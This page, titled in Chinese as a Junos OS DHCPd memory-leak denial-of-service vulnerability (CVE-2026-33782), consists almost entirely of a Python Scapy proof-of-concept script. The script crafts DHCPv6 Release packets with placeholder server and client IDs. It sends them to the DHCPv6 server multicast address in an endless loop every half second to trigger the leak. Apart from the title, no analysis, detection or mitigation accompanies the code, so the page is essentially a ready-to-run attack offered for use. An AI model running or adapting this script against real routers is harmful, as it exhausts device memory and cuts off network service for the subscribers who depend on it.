CVE-2026-33782 Junos OS DHCPd内存泄漏致DoS漏洞

import time from scapy.all import * # Target Configuration # Replace with the actual MAC and interface of the target environment target_mac = "00:11:22:33:44:55" interface = "eth0" # Construct Ethernet and IPv6 headers eth = Ether(dst=target_mac) ipv6 = IPv6(dst="ff02::1:2") # DHCPv6 All_DHCP_Relay_Agents_and_Servers # Construct UDP header for DHCPv6 (Client port 546 -> Server port 547) udp = UDP(sport=546, dport=547) # DHCPv6 Release Message (MsgType 8) # This simulates a subscriber logging out/releasing the lease dhcp6_release = DHCP6(msgtype=8) # Add necessary options (Simplified for PoC demonstration) # In a real scenario, valid ServerID (Option 2) and ClientID (Option 1) are required dhcp6_release = dhcp6_release / DHCP6OptServerID(duid=DUID_LL(lladdr="aa:bb:cc:dd:ee:ff")) dhcp6_release = dhcp6_release / DHCP6OptClientID(duid=DUID_LL(lladdr="11:22:33:44:55:66")) # Assemble the full packet packet = eth / ipv6 / udp / dhcp6_release print("[*] Starting PoC for CVE-2026-33782...") print("[*] Sending DHCPv6 Release packets to trigger memory leak...") try: while True: # Send the crafted packet sendp(packet, iface=interface, verbose=0) print("[+] Sent one DHCPv6 Release packet") # Wait briefly to simulate subscriber logout interval time.sleep(0.5) except KeyboardInterrupt: print("\n[*] PoC execution stopped by user.")